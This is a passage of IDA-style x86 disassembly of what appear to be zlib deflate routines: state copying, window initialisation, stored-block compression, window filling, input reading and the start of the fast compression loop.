		mov	eax, 0FFFFFFFCh
		jmp	loc_4BF39C
; ---------------------------------------------------------------------------


loc_4BF29A:				; CODE XREF: .text:004BF282j
		mov	edx, [ebp-0Ch]
		mov	eax, [edx+24h]
		shl	eax, 1
		push	eax
		mov	ecx, [ebp-8]
		mov	edx, [ecx+30h]
		push	edx
		mov	eax, [ebp-0Ch]
		mov	ecx, [eax+30h]
		push	ecx
		call	_memcpy_1
		add	esp, 0Ch
		mov	edx, [ebp-0Ch]
		mov	eax, [edx+24h]
		shl	eax, 1
		push	eax
		mov	ecx, [ebp-8]
		mov	edx, [ecx+38h]
		push	edx
		mov	eax, [ebp-0Ch]
		mov	ecx, [eax+38h]
		push	ecx
		call	_memcpy_1
		add	esp, 0Ch
		mov	edx, [ebp-0Ch]
		mov	eax, [edx+44h]
		shl	eax, 1
		push	eax
		mov	ecx, [ebp-8]
		mov	edx, [ecx+3Ch]
		push	edx
		mov	eax, [ebp-0Ch]
		mov	ecx, [eax+3Ch]
		push	ecx
		call	_memcpy_1
		add	esp, 0Ch
		mov	edx, [ebp-0Ch]
		mov	eax, [edx+0Ch]
		push	eax
		mov	ecx, [ebp-8]
		mov	edx, [ecx+8]
		push	edx
		mov	eax, [ebp-0Ch]
		mov	ecx, [eax+8]
		push	ecx
		call	_memcpy_1
		add	esp, 0Ch
		mov	edx, [ebp-8]
		mov	eax, [ebp-8]
		mov	ecx, [edx+10h]
		sub	ecx, [eax+8]
		mov	edx, [ebp-0Ch]
		mov	eax, [edx+8]
		add	eax, ecx
		mov	ecx, [ebp-0Ch]
		mov	[ecx+10h], eax
		mov	edx, [ebp-0Ch]
		mov	eax, [edx+1694h]
		shr	eax, 1
		mov	ecx, [ebp-4]
		lea	edx, [ecx+eax*2]
		mov	eax, [ebp-0Ch]
		mov	[eax+169Ch], edx
		mov	ecx, [ebp-0Ch]
		mov	edx, [ecx+1694h]
		imul	edx, 3
		mov	eax, [ebp-0Ch]
		mov	ecx, [eax+8]
		add	ecx, edx
		mov	edx, [ebp-0Ch]
		mov	[edx+1690h], ecx
		mov	eax, [ebp-0Ch]
		add	eax, 8Ch
		mov	ecx, [ebp-0Ch]
		mov	[ecx+0B10h], eax
		mov	edx, [ebp-0Ch]
		add	edx, 980h
		mov	eax, [ebp-0Ch]
		mov	[eax+0B1Ch], edx
		mov	ecx, [ebp-0Ch]
		add	ecx, 0A74h
		mov	edx, [ebp-0Ch]
		mov	[edx+0B28h], ecx
		xor	eax, eax


loc_4BF39C:				; CODE XREF: .text:004BF178j
					; .text:004BF1B8j ...
		pop	edi
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4BF3A2	proc near		; CODE XREF: sub_4BE9C1+C3p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+24h]
		shl	ecx, 1
		mov	edx, [ebp+arg_0]
		mov	[edx+34h], ecx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+44h]
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+3Ch]
		mov	word ptr [eax+ecx*2-2],	0
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+44h]
		lea	eax, [edx+edx-2]
		push	eax		; Size
		push	0		; Val
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+3Ch]
		push	edx		; Dst
		call	_memset_0
		add	esp, 0Ch
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+7Ch]
		imul	ecx, 0Ch
		xor	edx, edx
		mov	dx, word_4F1FE2[ecx]
		mov	eax, [ebp+arg_0]
		mov	[eax+78h], edx
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+7Ch]
		imul	edx, 0Ch
		xor	eax, eax
		mov	ax, word_4F1FE0[edx]
		mov	ecx, [ebp+arg_0]
		mov	[ecx+84h], eax
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+7Ch]
		imul	eax, 0Ch
		xor	ecx, ecx
		mov	cx, word_4F1FE4[eax]
		mov	edx, [ebp+arg_0]
		mov	[edx+88h], ecx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+7Ch]
		imul	ecx, 0Ch
		xor	edx, edx
		mov	dx, word_4F1FE6[ecx]
		mov	eax, [ebp+arg_0]
		mov	[eax+74h], edx
		mov	ecx, [ebp+arg_0]
		mov	dword ptr [ecx+64h], 0
		mov	edx, [ebp+arg_0]
		mov	dword ptr [edx+54h], 0
		mov	eax, [ebp+arg_0]
		mov	dword ptr [eax+6Ch], 0
		mov	ecx, [ebp+arg_0]
		mov	dword ptr [ecx+70h], 2
		mov	edx, [ebp+arg_0]
		mov	dword ptr [edx+58h], 2
		mov	eax, [ebp+arg_0]
		mov	dword ptr [eax+60h], 0
		mov	ecx, [ebp+arg_0]
		mov	dword ptr [ecx+40h], 0
		pop	ebp
		retn
sub_4BF3A2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4BF490	proc near		; CODE XREF: sub_4BEBAE+248p
					; DATA XREF: .data:off_4F1FE8o

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	[ebp+var_4], 0FFFFh
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+0Ch]
		sub	ecx, 5
		cmp	[ebp+var_4], ecx
		jbe	short loc_4BF4B7
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+0Ch]
		sub	eax, 5
		mov	[ebp+var_4], eax


loc_4BF4B7:				; CODE XREF: sub_4BF490+19j
					; sub_4BF490:loc_4BF63Cj
		mov	ecx, [ebp+arg_0]
		cmp	dword ptr [ecx+6Ch], 1
		ja	short loc_4BF4F0
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_4BF6D0
		add	esp, 4
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+6Ch], 0
		jnz	short loc_4BF4E2
		cmp	[ebp+arg_4], 0
		jnz	short loc_4BF4E2
		xor	eax, eax
		jmp	loc_4BF6CC
; ---------------------------------------------------------------------------


loc_4BF4E2:				; CODE XREF: sub_4BF490+43j
					; sub_4BF490+49j
		mov	ecx, [ebp+arg_0]
		cmp	dword ptr [ecx+6Ch], 0
		jnz	short loc_4BF4F0
		jmp	loc_4BF641
; ---------------------------------------------------------------------------


loc_4BF4F0:				; CODE XREF: sub_4BF490+2Ej
					; sub_4BF490+59j
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+64h]
		mov	ecx, [ebp+arg_0]
		add	eax, [ecx+6Ch]
		mov	edx, [ebp+arg_0]
		mov	[edx+64h], eax
		mov	eax, [ebp+arg_0]
		mov	dword ptr [eax+6Ch], 0
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+54h]
		add	edx, [ebp+var_4]
		mov	[ebp+var_8], edx
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+64h], 0
		jz	short loc_4BF530
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+64h]
		cmp	edx, [ebp+var_8]
		jb	loc_4BF5B4


loc_4BF530:				; CODE XREF: sub_4BF490+8Fj
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+64h]
		sub	ecx, [ebp+var_8]
		mov	edx, [ebp+arg_0]
		mov	[edx+6Ch], ecx
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_8]
		mov	[eax+64h], ecx
		mov	edx, [ebp+arg_0]
		cmp	dword ptr [edx+54h], 0
		jl	short loc_4BF562
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+30h]
		mov	edx, [ebp+arg_0]
		add	ecx, [edx+54h]
		mov	[ebp+var_C], ecx
		jmp	short loc_4BF569
; ---------------------------------------------------------------------------


loc_4BF562:				; CODE XREF: sub_4BF490+BFj
		mov	[ebp+var_C], 0


loc_4BF569:				; CODE XREF: sub_4BF490+D0j
		push	0
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+arg_0]
		mov	edx, [eax+64h]
		sub	edx, [ecx+54h]
		push	edx
		mov	eax, [ebp+var_C]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_4C20F2
		add	esp, 10h
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+64h]
		mov	[edx+54h], ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [edx]
		push	eax
		call	sub_4BEF80
		add	esp, 4
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx]
		cmp	dword ptr [edx+10h], 0
		jnz	short loc_4BF5B4
		xor	eax, eax
		jmp	loc_4BF6CC
; ---------------------------------------------------------------------------


loc_4BF5B4:				; CODE XREF: sub_4BF490+9Aj
					; sub_4BF490+11Bj
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+arg_0]
		mov	edx, [eax+64h]
		sub	edx, [ecx+54h]
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+24h]
		sub	ecx, 106h
		cmp	edx, ecx
		jb	short loc_4BF63C
		mov	edx, [ebp+arg_0]
		cmp	dword ptr [edx+54h], 0
		jl	short loc_4BF5EA
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+30h]
		mov	edx, [ebp+arg_0]
		add	ecx, [edx+54h]
		mov	[ebp+var_10], ecx
		jmp	short loc_4BF5F1
; ---------------------------------------------------------------------------


loc_4BF5EA:				; CODE XREF: sub_4BF490+147j
		mov	[ebp+var_10], 0


loc_4BF5F1:				; CODE XREF: sub_4BF490+158j
		push	0
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+arg_0]
		mov	edx, [eax+64h]
		sub	edx, [ecx+54h]
		push	edx
		mov	eax, [ebp+var_10]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_4C20F2
		add	esp, 10h
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+64h]
		mov	[edx+54h], ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [edx]
		push	eax
		call	sub_4BEF80
		add	esp, 4
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx]
		cmp	dword ptr [edx+10h], 0
		jnz	short loc_4BF63C
		xor	eax, eax
		jmp	loc_4BF6CC
; ---------------------------------------------------------------------------


loc_4BF63C:				; CODE XREF: sub_4BF490+13Ej
					; sub_4BF490+1A3j
		jmp	loc_4BF4B7
; ---------------------------------------------------------------------------


loc_4BF641:				; CODE XREF: sub_4BF490+5Bj
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+54h], 0
		jl	short loc_4BF65B
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+30h]
		mov	eax, [ebp+arg_0]
		add	edx, [eax+54h]
		mov	[ebp+var_14], edx
		jmp	short loc_4BF662
; ---------------------------------------------------------------------------


loc_4BF65B:				; CODE XREF: sub_4BF490+1B8j
		mov	[ebp+var_14], 0


loc_4BF662:				; CODE XREF: sub_4BF490+1C9j
		xor	ecx, ecx
		cmp	[ebp+arg_4], 4
		setz	cl
		push	ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+arg_0]
		mov	ecx, [edx+64h]
		sub	ecx, [eax+54h]
		push	ecx
		mov	edx, [ebp+var_14]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_4C20F2
		add	esp, 10h
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+64h]
		mov	[ecx+54h], eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx]
		push	edx
		call	sub_4BEF80
		add	esp, 4
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		cmp	dword ptr [ecx+10h], 0
		jnz	short loc_4BF6BD
		xor	eax, eax
		cmp	[ebp+arg_4], 4
		setnz	al
		dec	eax
		and	eax, 2
		jmp	short loc_4BF6CC
; ---------------------------------------------------------------------------


loc_4BF6BD:				; CODE XREF: sub_4BF490+21Cj
		mov	eax, [ebp+arg_4]
		sub	eax, 4
		neg	eax
		sbb	eax, eax
		and	al, 0FEh
		add	eax, 3


loc_4BF6CC:				; CODE XREF: sub_4BF490+4Dj
					; sub_4BF490+11Fj ...
		mov	esp, ebp
		pop	ebp
		retn
sub_4BF490	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4BF6D0	proc near		; CODE XREF: sub_4BF490+34p
					; .text:004BF9C1p ...

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
Size		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ebx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+24h]
		mov	[ebp+Size], ecx


loc_4BF6E0:				; CODE XREF: sub_4BF6D0+230j
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+arg_0]
		mov	ecx, [edx+34h]
		sub	ecx, [eax+6Ch]
		mov	edx, [ebp+arg_0]
		sub	ecx, [edx+64h]
		mov	[ebp+var_C], ecx
		cmp	[ebp+var_C], 0
		jnz	short loc_4BF718
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+64h], 0
		jnz	short loc_4BF718
		mov	ecx, [ebp+arg_0]
		cmp	dword ptr [ecx+6Ch], 0
		jnz	short loc_4BF718
		mov	edx, [ebp+Size]
		mov	[ebp+var_C], edx
		jmp	loc_4BF856
; ---------------------------------------------------------------------------


loc_4BF718:				; CODE XREF: sub_4BF6D0+29j
					; sub_4BF6D0+32j ...
		cmp	[ebp+var_C], 0FFFFFFFFh
		jnz	short loc_4BF72C
		mov	eax, [ebp+var_C]
		sub	eax, 1
		mov	[ebp+var_C], eax
		jmp	loc_4BF856
; ---------------------------------------------------------------------------


loc_4BF72C:				; CODE XREF: sub_4BF6D0+4Cj
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+24h]
		mov	eax, [ebp+Size]
		lea	ecx, [eax+edx-106h]
		mov	edx, [ebp+arg_0]
		cmp	[edx+64h], ecx
		jb	loc_4BF856
		mov	eax, [ebp+Size]
		push	eax		; Size
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+30h]
		add	edx, [ebp+Size]
		push	edx		; Src
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+30h]
		push	ecx		; Dst
		call	_memcpy_1
		add	esp, 0Ch
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+68h]
		sub	eax, [ebp+Size]
		mov	ecx, [ebp+arg_0]
		mov	[ecx+68h], eax
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+64h]
		sub	eax, [ebp+Size]
		mov	ecx, [ebp+arg_0]
		mov	[ecx+64h], eax
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+54h]
		sub	eax, [ebp+Size]
		mov	ecx, [ebp+arg_0]
		mov	[ecx+54h], eax
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+44h]
		mov	[ebp+var_14], eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+3Ch]
		mov	eax, [ebp+var_14]
		lea	ecx, [edx+eax*2]
		mov	[ebp+var_8], ecx


loc_4BF7AA:				; CODE XREF: sub_4BF6D0+11Fj
		mov	edx, [ebp+var_8]
		sub	edx, 2
		mov	[ebp+var_8], edx
		mov	eax, [ebp+var_8]
		xor	ecx, ecx
		mov	cx, [eax]
		mov	[ebp+var_10], ecx
		mov	edx, [ebp+var_10]
		cmp	edx, [ebp+Size]
		jb	short loc_4BF7D1
		mov	eax, [ebp+var_10]
		sub	eax, [ebp+Size]
		mov	[ebp+var_18], eax
		jmp	short loc_4BF7D8
; ---------------------------------------------------------------------------


loc_4BF7D1:				; CODE XREF: sub_4BF6D0+F4j
		mov	[ebp+var_18], 0


loc_4BF7D8:				; CODE XREF: sub_4BF6D0+FFj
		mov	ecx, [ebp+var_8]
		mov	dx, word ptr [ebp+var_18]
		mov	[ecx], dx
		mov	eax, [ebp+var_14]
		sub	eax, 1
		mov	[ebp+var_14], eax
		cmp	[ebp+var_14], 0
		jnz	short loc_4BF7AA
		mov	ecx, [ebp+Size]
		mov	[ebp+var_14], ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+38h]
		mov	ecx, [ebp+var_14]
		lea	edx, [eax+ecx*2]
		mov	[ebp+var_8], edx


loc_4BF806:				; CODE XREF: sub_4BF6D0+17Bj
		mov	eax, [ebp+var_8]
		sub	eax, 2
		mov	[ebp+var_8], eax
		mov	ecx, [ebp+var_8]
		xor	edx, edx
		mov	dx, [ecx]
		mov	[ebp+var_10], edx
		mov	eax, [ebp+var_10]
		cmp	eax, [ebp+Size]
		jb	short loc_4BF82D
		mov	ecx, [ebp+var_10]
		sub	ecx, [ebp+Size]
		mov	[ebp+var_1C], ecx
		jmp	short loc_4BF834
; ---------------------------------------------------------------------------


loc_4BF82D:				; CODE XREF: sub_4BF6D0+150j
		mov	[ebp+var_1C], 0


loc_4BF834:				; CODE XREF: sub_4BF6D0+15Bj
		mov	edx, [ebp+var_8]
		mov	ax, word ptr [ebp+var_1C]
		mov	[edx], ax
		mov	ecx, [ebp+var_14]
		sub	ecx, 1
		mov	[ebp+var_14], ecx
		cmp	[ebp+var_14], 0
		jnz	short loc_4BF806
		mov	edx, [ebp+var_C]
		add	edx, [ebp+Size]
		mov	[ebp+var_C], edx


loc_4BF856:				; CODE XREF: sub_4BF6D0+43j
					; sub_4BF6D0+57j ...
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		cmp	dword ptr [ecx+4], 0
		jnz	short loc_4BF866
		jmp	loc_4BF906
; ---------------------------------------------------------------------------


loc_4BF866:				; CODE XREF: sub_4BF6D0+18Fj
		mov	edx, [ebp+var_C]
		push	edx		; int
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+30h]
		mov	edx, [ebp+arg_0]
		add	ecx, [edx+64h]
		mov	eax, [ebp+arg_0]
		add	ecx, [eax+6Ch]
		push	ecx		; Dst
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx]
		push	edx		; int
		call	sub_4BF90B
		add	esp, 0Ch
		mov	[ebp+var_14], eax
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+6Ch]
		add	ecx, [ebp+var_14]
		mov	edx, [ebp+arg_0]
		mov	[edx+6Ch], ecx
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+6Ch], 3
		jb	short loc_4BF8EB
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+30h]
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+64h]
		xor	eax, eax
		mov	al, [edx+ecx]
		mov	ecx, [ebp+arg_0]
		mov	[ecx+40h], eax
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+arg_0]
		mov	edx, [edx+40h]
		mov	ecx, [eax+50h]
		shl	edx, cl
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+64h]
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+30h]
		xor	ebx, ebx
		mov	bl, [eax+ecx+1]
		xor	edx, ebx
		mov	ecx, [ebp+arg_0]
		and	edx, [ecx+4Ch]
		mov	eax, [ebp+arg_0]
		mov	[eax+40h], edx


loc_4BF8EB:				; CODE XREF: sub_4BF6D0+1D4j
		mov	ecx, [ebp+arg_0]
		cmp	dword ptr [ecx+6Ch], 106h
		jnb	short loc_4BF906
		mov	edx, [ebp+arg_0]
		mov	eax, [edx]
		cmp	dword ptr [eax+4], 0
		jnz	loc_4BF6E0


loc_4BF906:				; CODE XREF: sub_4BF6D0+191j
					; sub_4BF6D0+225j
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4BF6D0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_4BF90B(int,void *Dst,int)

sub_4BF90B	proc near		; CODE XREF: sub_4BF6D0+1B3p

Size		= dword	ptr -4
arg_0		= dword	ptr  8
Dst		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+4]
		mov	[ebp+Size], ecx
		mov	edx, [ebp+Size]
		cmp	edx, [ebp+arg_8]
		jbe	short loc_4BF926
		mov	eax, [ebp+arg_8]
		mov	[ebp+Size], eax


loc_4BF926:				; CODE XREF: sub_4BF90B+13j
		cmp	[ebp+Size], 0
		jnz	short loc_4BF930
		xor	eax, eax
		jmp	short loc_4BF99F
; ---------------------------------------------------------------------------


loc_4BF930:				; CODE XREF: sub_4BF90B+1Fj
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+4]
		sub	edx, [ebp+Size]
		mov	eax, [ebp+arg_0]
		mov	[eax+4], edx
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+1Ch]
		cmp	dword ptr [edx+18h], 0
		jnz	short loc_4BF96A
		mov	eax, [ebp+Size]
		push	eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx]
		push	edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+30h]
		push	ecx
		call	sub_4C16E0
		add	esp, 0Ch
		mov	edx, [ebp+arg_0]
		mov	[edx+30h], eax


loc_4BF96A:				; CODE XREF: sub_4BF90B+3Ej
		mov	eax, [ebp+Size]
		push	eax		; Size
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx]
		push	edx		; Src
		mov	eax, [ebp+Dst]
		push	eax		; Dst
		call	_memcpy_1
		add	esp, 0Ch
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx]
		add	edx, [ebp+Size]
		mov	eax, [ebp+arg_0]
		mov	[eax], edx
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+8]
		add	edx, [ebp+Size]
		mov	eax, [ebp+arg_0]
		mov	[eax+8], edx
		mov	eax, [ebp+Size]


loc_4BF99F:				; CODE XREF: sub_4BF90B+23j
		mov	esp, ebp
		pop	ebp
		retn
sub_4BF90B	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	ebx
		mov	dword ptr [ebp-8], 0


loc_4BF9B1:				; CODE XREF: .text:loc_4BFE65j
		mov	eax, [ebp+8]
		cmp	dword ptr [eax+6Ch], 106h
		jnb	short loc_4BF9F0
		mov	ecx, [ebp+8]
		push	ecx
		call	sub_4BF6D0
		add	esp, 4
		mov	edx, [ebp+8]
		cmp	dword ptr [edx+6Ch], 106h
		jnb	short loc_4BF9E2
		cmp	dword ptr [ebp+0Ch], 0
		jnz	short loc_4BF9E2
		xor	eax, eax
		jmp	loc_4BFEF5
; ---------------------------------------------------------------------------


loc_4BF9E2:				; CODE XREF: .text:004BF9D3j
					; .text:004BF9D9j
		mov	eax, [ebp+8]
		cmp	dword ptr [eax+6Ch], 0
		jnz	short loc_4BF9F0
		jmp	loc_4BFE6A
; ---------------------------------------------------------------------------


loc_4BF9F0:				; CODE XREF: .text:004BF9BBj
					; .text:004BF9E9j
		mov	ecx, [ebp+8]
		cmp	dword ptr [ecx+6Ch], 3
		jb	short loc_4BFA6D
		mov	edx, [ebp+8]
		mov	eax, [ebp+8]
		mov	edx, [edx+40h]
		mov	ecx, [eax+50h]
		shl	edx, cl
		mov	eax, [ebp+8]
		mov	ecx, [eax+64h]
		mov	eax, [ebp+8]
		mov	eax, [eax+30h]
		xor	ebx, ebx
		mov	bl, [eax+ecx+2]
		xor	edx, ebx
		mov	ecx, [ebp+8]
		and	edx, [ecx+4Ch]
		mov	eax, [ebp+8]
		mov	[eax+40h], edx
		mov	ecx, [ebp+8]
		mov	edx, [ecx+40h]
		mov	eax, [ebp+8]
		mov	ecx, [eax+3Ch]
		xor	eax, eax
		mov	ax, [ecx+edx*2]
		mov	[ebp-8], eax
		mov	ecx, [ebp+8]
		mov	edx, [ebp+8]
		mov	eax, [ecx+64h]
		and	eax, [edx+2Ch]
		mov	ecx, [ebp+8]
		mov	edx, [ecx+38h]
		mov	cx, [ebp-8]
		mov	[edx+eax*2], cx
		mov	edx, [ebp+8]
		mov	eax, [edx+40h]
		mov	ecx, [ebp+8]
		mov	edx, [ecx+3Ch]
		mov	ecx, [ebp+8]
		mov	cx, [ecx+64h]
		mov	[edx+eax*2], cx


loc_4BFA6D:				; CODE XREF: .text:004BF9F7j
		cmp	dword ptr [ebp-8], 0
		jz	short loc_4BFAAE
		mov	edx, [ebp+8]
		mov	eax, [edx+64h]
		sub	eax, [ebp-8]
		mov	ecx, [ebp+8]
		mov	edx, [ecx+24h]
		sub	edx, 106h
		cmp	eax, edx
		ja	short loc_4BFAAE
		mov	eax, [ebp+8]
		cmp	dword ptr [eax+80h], 2
		jz	short loc_4BFAAE
		mov	ecx, [ebp-8]
		push	ecx
		mov	edx, [ebp+8]
		push	edx
		call	sub_4BFEFA
		add	esp, 8
		mov	ecx, [ebp+8]
		mov	[ecx+58h], eax


loc_4BFAAE:				; CODE XREF: .text:004BFA71j
					; .text:004BFA8Aj ...
		mov	edx, [ebp+8]
		cmp	dword ptr [edx+58h], 3
		jb	loc_4BFD35
		mov	eax, [ebp+8]
		mov	ecx, [eax+58h]
		sub	ecx, 3
		mov	[ebp-10h], cl
		mov	edx, [ebp+8]
		mov	eax, [ebp+8]
		mov	ecx, [edx+64h]
		sub	ecx, [eax+68h]
		mov	[ebp-0Ch], cx
		mov	edx, [ebp+8]
		mov	eax, [edx+1698h]
		mov	ecx, [ebp+8]
		mov	edx, [ecx+169Ch]
		mov	cx, [ebp-0Ch]
		mov	[edx+eax*2], cx
		mov	edx, [ebp+8]
		mov	eax, [edx+1690h]
		mov	ecx, [ebp+8]
		mov	edx, [ecx+1698h]
		mov	cl, [ebp-10h]
		mov	[eax+edx], cl
		mov	edx, [ebp+8]
		mov	eax, [edx+1698h]
		add	eax, 1
		mov	ecx, [ebp+8]
		mov	[ecx+1698h], eax
		mov	dx, [ebp-0Ch]
		sub	dx, 1
		mov	[ebp-0Ch], dx
		mov	eax, [ebp-10h]
		and	eax, 0FFh
		xor	ecx, ecx
		mov	cl, byte_4F2CA0[eax]
		mov	edx, [ebp+8]
		mov	ax, [edx+ecx*4+490h]
		add	ax, 1
		mov	ecx, [ebp-10h]
		and	ecx, 0FFh
		xor	edx, edx
		mov	dl, byte_4F2CA0[ecx]
		mov	ecx, [ebp+8]
		mov	[ecx+edx*4+490h], ax
		mov	edx, [ebp-0Ch]
		and	edx, 0FFFFh
		cmp	edx, 100h
		jge	short loc_4BFB8B
		mov	eax, [ebp-0Ch]
		and	eax, 0FFFFh
		xor	ecx, ecx
		mov	cl, byte_4F2AA0[eax]
		mov	[ebp-18h], ecx
		jmp	short loc_4BFBA2
; ---------------------------------------------------------------------------


loc_4BFB8B:				; CODE XREF: .text:004BFB74j
		mov	edx, [ebp-0Ch]
		and	edx, 0FFFFh
		sar	edx, 7
		xor	eax, eax
		mov	al, byte_4F2BA0[edx]
		mov	[ebp-18h], eax


loc_4BFBA2:				; CODE XREF: .text:004BFB89j
		mov	ecx, [ebp-18h]
		mov	edx, [ebp+8]
		mov	ax, [edx+ecx*4+980h]
		add	ax, 1
		mov	ecx, [ebp-18h]
		mov	edx, [ebp+8]
		mov	[edx+ecx*4+980h], ax
		mov	eax, [ebp+8]
		mov	ecx, [eax+1694h]
		sub	ecx, 1
		mov	edx, [ebp+8]
		xor	eax, eax
		cmp	[edx+1698h], ecx
		setz	al
		mov	[ebp-4], eax
		mov	ecx, [ebp+8]
		mov	edx, [ebp+8]
		mov	eax, [ecx+6Ch]
		sub	eax, [edx+58h]
		mov	ecx, [ebp+8]
		mov	[ecx+6Ch], eax
		mov	edx, [ebp+8]
		mov	eax, [ebp+8]
		mov	ecx, [edx+58h]
		cmp	ecx, [eax+78h]
		ja	loc_4BFCCF
		mov	edx, [ebp+8]
		cmp	dword ptr [edx+6Ch], 3
		jb	loc_4BFCCF
		mov	eax, [ebp+8]
		mov	ecx, [eax+58h]
		sub	ecx, 1
		mov	edx, [ebp+8]
		mov	[edx+58h], ecx


loc_4BFC1F:				; CODE XREF: .text:004BFCB8j
		mov	eax, [ebp+8]
		mov	ecx, [eax+64h]
		add	ecx, 1
		mov	edx, [ebp+8]
		mov	[edx+64h], ecx
		mov	eax, [ebp+8]
		mov	ecx, [ebp+8]
		mov	edx, [eax+40h]
		mov	ecx, [ecx+50h]
		shl	edx, cl
		mov	eax, [ebp+8]
		mov	ecx, [eax+64h]
		mov	eax, [ebp+8]
		mov	eax, [eax+30h]
		xor	ebx, ebx
		mov	bl, [eax+ecx+2]
		xor	edx, ebx
		mov	ecx, [ebp+8]
		and	edx, [ecx+4Ch]
		mov	eax, [ebp+8]
		mov	[eax+40h], edx
		mov	ecx, [ebp+8]
		mov	edx, [ecx+40h]
		mov	eax, [ebp+8]
		mov	ecx, [eax+3Ch]
		xor	eax, eax
		mov	ax, [ecx+edx*2]
		mov	[ebp-8], eax
		mov	ecx, [ebp+8]
		mov	edx, [ebp+8]
		mov	eax, [ecx+64h]
		and	eax, [edx+2Ch]
		mov	ecx, [ebp+8]
		mov	edx, [ecx+38h]
		mov	cx, [ebp-8]
		mov	[edx+eax*2], cx
		mov	edx, [ebp+8]
		mov	eax, [edx+40h]
		mov	ecx, [ebp+8]
		mov	edx, [ecx+3Ch]
		mov	ecx, [ebp+8]
		mov	cx, [ecx+64h]
		mov	[edx+eax*2], cx
		mov	edx, [ebp+8]
		mov	eax, [edx+58h]
		sub	eax, 1
		mov	ecx, [ebp+8]
		mov	[ecx+58h], eax
		mov	edx, [ebp+8]
